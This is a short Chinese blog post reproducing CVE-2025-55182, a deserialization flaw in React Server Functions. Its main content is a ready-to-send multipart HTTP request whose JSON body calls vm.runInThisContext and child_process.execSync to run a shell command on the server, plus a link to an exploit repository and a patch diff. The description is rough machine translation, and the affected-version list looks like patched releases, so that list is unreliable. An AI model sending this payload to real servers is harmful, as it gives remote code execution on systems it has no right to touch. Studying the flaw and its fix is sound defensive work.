CVE-2025-55182 React反序列化漏洞复现

文章目录

免责申明

本文章仅供学习与交流,请勿用于非法用途,均由使用者本人负责,文章作者不为此承担任何责任

漏洞描述

React 提供服务器功能1,可以看作是一种RPC- 通过HTTP传输。它们可以用来从相邻节点获取数据,以确保 低延迟,或执行客户端缺乏的认证请求 资历。

React 使用一种叫做 React 飞行协议的东西2用于序列化 传递给服务器函数的值。

影响版本

React: 19.0.1+, 19.1.2+, 19.2.1+

Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

漏洞poc

https://github.com/Ashwesker/Blackash-CVE-2025-55182.git

复制代码
POST /formaction HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 291

------Boundary

Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"ping 127.0.0.1\").toString()"]}
------Boundary

漏洞复现

修复建议

利用区块引用来检索原型属性 通过这个检查解决了:

复制代码
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }
相关推荐
C2H5OH1 天前
PortSwigger SQL注入LAB7 & LAB8 & LAB9
网络安全
small_white_robot1 天前
(Win)文件上传数据流绕过-面试常考
网络·安全·web安全·网络安全
宋浮檀s1 天前
SQL注入基础+DVWA搭建
数据库·sql·安全·网络安全
汤愈韬2 天前
hcip-security_防火墙高可靠技术4—双机热备结合NAT
网络·网络协议·网络安全·security
虚拟世界AI2 天前
从零到黑客:渗透测试实战指南
网络安全·渗透测试
X7x52 天前
堡垒机:企业运维安全的“数字守门人“
网络安全·网络攻击模型·安全威胁分析·堡垒机·安全架构
ze^02 天前
Day03 Web应用&OSS存储&负载均衡&CDN加速&反向代理&WAF防护&部署影响
web安全·网络安全·架构·安全架构
HMS工业网络2 天前
如何解决使用TwinCAT时EtherCAT网络出现“Sync Manager Watchdog”报错
网络·网络协议·网络安全
сокол2 天前
【网安-Web渗透测试-内网渗透】域环境权限维持
服务器·windows·网络安全·系统安全